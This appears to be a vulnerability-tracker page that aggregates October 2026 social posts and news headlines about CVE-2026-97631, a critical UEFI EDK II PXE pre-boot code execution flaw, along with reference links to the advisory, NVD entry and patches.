  • social bsky.app @kill-bait.bsky.social 2026-10-29 11:11 UTC
    Critical UEFI Firmware Flaw Affects Most Servers, Allows Pre-Boot Code Execution 🤖 IA: It's not clickbait ✅ 👥 Users: It's not clickbait ✅ #firmware #uefi #vulnerability 👇👇👇
    Open source
  • news secnews.gr 2026-10-29 10:53 UTC
    Critical vulnerability in UEFI firmware threatens servers - SecNews.gr
    Open source
  • social bsky.app @bugstoday.bsky.social 2026-10-29 10:15 UTC
    netbe.pl/krytyczna-lu...
    Open source
  • social bsky.app @netbe.bsky.social 2026-10-29 10:14 UTC
    netbe.pl/krytyczna-lu...
    Open source
  • social bsky.app @hacker.at.thenote.app 2026-10-29 09:37 UTC
    CVE-2026-97631: 16-Year-Old UEFI Flaw Threatens Servers CVE-2026-97631: A 16-year-old UEFI flaw (CVSS score of 9.5/10) enables pre-OS code execution. Exposed servers need firmware patches and checks. A critical flaw, tracked as CVE-2026-97…
    Open source
  • social bsky.app @secureiotoffice.world.web.brid.gy 2026-10-29 09:01 UTC
    Open source
  • social bsky.app @rootcz.bsky.social 2026-10-29 08:55 UTC
    Šestnáct let stará chyba v UEFI umožňuje spuštění kódu ještě před startem systému
    Open source
  • news businessupturn.com 2026-10-29 08:39 UTC
    Critical EDK II PXE flaw: CVE-2026-97631 explained - Business Upturn
    Open source
  • news businessupturn.com 2026-10-29 08:39 UTC
    Critical EDK II PXE flaw: CVE-2026-97631 explained - Business Upturn
    Open source
  • social bsky.app @cybowl.bsky.social 2026-10-29 08:11 UTC
    Vulnérabilités critiques (CVSS ≥ 9) · 4 • Oracle E-Business Suite (CVE-2026-101767), CVSS 9.8 (Hacktualités) • Firmware UEFI (EDK II) (CVE-2026-97631), CVSS 9.5 (IT-Connect) • Veeam Backup & Replication 13 (CVE-2026-108142), CVSS 9.1 (Cybe…
    Open source
  • social bsky.app @shellsecrets.bsky.social 2026-10-29 07:02 UTC
    🚨 𝗖𝗩𝗘-𝟮𝟬𝟮𝟲-𝟵𝟳𝟲𝟯𝟭: A critical 𝟵.𝟱/𝟭𝟬 𝗨𝗘𝗙𝗜 𝗳𝗶𝗿𝗺𝘄𝗮𝗿𝗲 𝘃𝘂𝗹𝗻𝗲𝗿𝗮𝗯𝗶𝗹𝗶𝘁𝘆 could enable remote code execution during PXE network boot. 🔗 Details in the comments. #UEFI #CVE202697631 #RCE #CyberSecurity #ServerSecurity #ShellSecrets
    Open source
  • news mybroadband.co.za 2026-10-29 06:34 UTC
    Serious security flaw threatens many of the world’s servers, and Instagram takes on YouTube - MyBroadband
    Open source
  • news xenospectrum.com 2026-10-29 06:27 UTC
    Critical UEFI Flaw in EDK II Could Allow Pre-OS Code Execution; Fix Was Public 24 Days Before Advisory - XenoSpectrum
    Open source
  • social bsky.app @securitycareers.help.web.brid.gy 2026-10-29 06:01 UTC
    Open source
  • news rescana.com 2026-10-29 05:33 UTC
    FreeSWITCH CVE-2026-116779: Critical SIP MESSAGE Flaw Exploited in the Wild, Fixed in 1.11.3 - Rescana
    Open source
  • social bsky.app @sansisc.bsky.social 2026-10-29 03:12 UTC
    SANS Stormcast Thursday, October 29th, 2026: ClickFix Campaign Targets macOS and Windows; EDK II UEFI PXE Pre-Boot RCE (CVE-2026-97631); Qwen AI Model Data Exfiltration; LiteLLM Master Key Leak https://isc.sans.edu/podcastdetail/10156
    Open source

References (7)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-97631
github.com
GitHub CVE
https://github.com/tianocore/edk2/security/advisories/GHSA-99cj-7hg9-mp4m
openwall.com
NVD API
http://www.openwall.com/lists/oss-security/2026/10/28/4
arstechnica.com
NVD API
https://arstechnica.com/security/2026/10/code-execution-flaw-in-uefi-firmware-threatens-most-servers-on-planet-earth/
github.com
NVD API
https://github.com/microsoft/mu_basecore/pull/1989
github.com
NVD API
https://github.com/microsoft/mu_basecore/pull/1990
news.ycombinator.com
NVD API
https://news.ycombinator.com/item?id=50265393